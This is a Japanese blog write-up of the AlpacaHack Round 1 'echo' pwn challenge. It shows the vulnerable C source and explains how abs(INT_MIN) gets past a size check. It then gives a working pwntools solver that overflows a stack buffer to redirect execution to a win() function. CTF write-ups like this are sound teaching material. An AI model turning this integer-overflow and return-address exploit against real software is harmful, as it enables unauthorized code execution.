はまやんはまやんはまやん

hamayanhamayan's blog

AlpacaHack Round 1 (Pwn) Writeup

https://alpacahack.com/ctfs/round-1

[pwn] echo

c言語で書かれたソースコードmain.cとビルド済みバイナリechoが与えられる。ソースコードは以下。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x100

/* Call this function! */
void win() {
  char *args[] = {"/bin/cat", "/flag.txt", NULL};
  execve(args[0], args, NULL);
  exit(1);
}

int get_size() {
  // Input size
  int size = 0;
  scanf("%d%*c", &size);

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

  return size;
}

void get_data(char *buf, unsigned size) {
  unsigned i;
  char c;

  // Input data until newline
  for (i = 0; i < size; i++) {
    if (fread(&c, 1, 1, stdin) != 1) break;
    if (c == '\n') break;
    buf[i] = c;
  }
  buf[i] = '\0';
}

void echo() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data: ");
  get_data(buf, size);

  // Show data
  printf("Received: %s\n", buf);
}

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  echo();
  return 0;
}

win関数が呼べればフラグが得られる。流れとしてはecho関数に入ったあと、get_size関数で入力文字長を取得して、get_data関数でデータを入力している。checksecでバイナリを見てみよう。

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Stackを見るとリターンアドレス書き換えを防止するCanaryが付いていない。win関数を呼べればフラグが得られるという点も考えても、リターンアドレスを書き換えればよさそうだ。

get_data関数はsize文字分読み取ってbufに書き込んでいる。bufはBUF_SIZE分取られているので、これを超えて書き込むことができればリターンアドレスを書き換えて、関数から戻った先をwin関数に変えることができる。

get_data関数で使うsizeはget_size関数で取得しているが、ここでsizeがBUF_SIZEを超えないように検証処理が入っている。get_size関数を再掲しよう。

int get_size() {
  // Input size
  int size = 0;
  scanf("%d%*c", &size);

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

  return size;
}

abs関数を使って負の数を受け入れないようにしている。これを回避する方法が無いかpwn ctf absとかで調べてみたが見当たらない。ChatGPTに聞いてみると教えてくれた。

Q: absって壊れたりしますか?
A: abs 関数自体が壊れることは通常ありませんが、特定の状況や誤った使い方によって問題が生じる場合があります。

[省略]

abs 関数で問題が発生する可能性のあるシナリオ
符号付き整数のオーバーフロー:
abs 関数を INT_MIN に適用すると、オーバーフローが発生する可能性があります。例えば、32ビットの int 型では、INT_MIN は -2147483648 です。これを絶対値にすると 2147483648 となりますが、int の最大値は 2147483647 であるため、これを表現できずにオーバーフローが発生します。

なるほどー!!ということで-2147483648を入力することで自由文字長入力できるようになる。あとは、バッファーオーバーフローでリターンアドレスを書き換えよう。

gdb+pedaでechoを起動してスタックの状態を見てみる。gdb ./echoで起動してstartでステップ実行開始。niで進んでいき、echo関数に入りたいので0x4013cf <main+53>: call 0x401321 <echo>まで来たら中に入るためにstepする。そこからniでさらに進むとスタックが整ってくるので、数ステップ行ったらstack 50とかでスタックが見られる。

0272| 0x7fffffffdca0 --> 0x7fffffffdcb0 --> 0x1
0280| 0x7fffffffdca8 --> 0x4013d4 (<main+58>:   mov    eax,0x0)
0288| 0x7fffffffdcb0 --> 0x1

以上のようにオフセットが280の地点にmain関数へのリターンアドレスが書いてあった。bufへの書き込みもniで進めていきAAAAAを書き込んでみると

0000| 0x7fffffffdb90 --> 0x4141414141 ('AAAAA')

のようにオフセット0の地点から書き込まれることが分かった。(ちゃんと計算する方が地力が付きそうだが…)スタックの状態を見るとbufに280バイト分ゴミデータを書き込んだあと、win関数のアドレスを書き込めばリターンアドレスをwin関数のものに変更ができる。ということで以下のようにpwntoolsを使ってソルバーを書くとフラグ獲得。

from pwn import *

win = ELF("./echo").symbols["win"]

p = process('./echo')
#p = remote("[redacted]", [redacted])

p.sendlineafter(b"Size: ", b"-2147483648")
p.sendlineafter(b"Data: ", b'A' * 280 + p32(win))
print(p.recvall())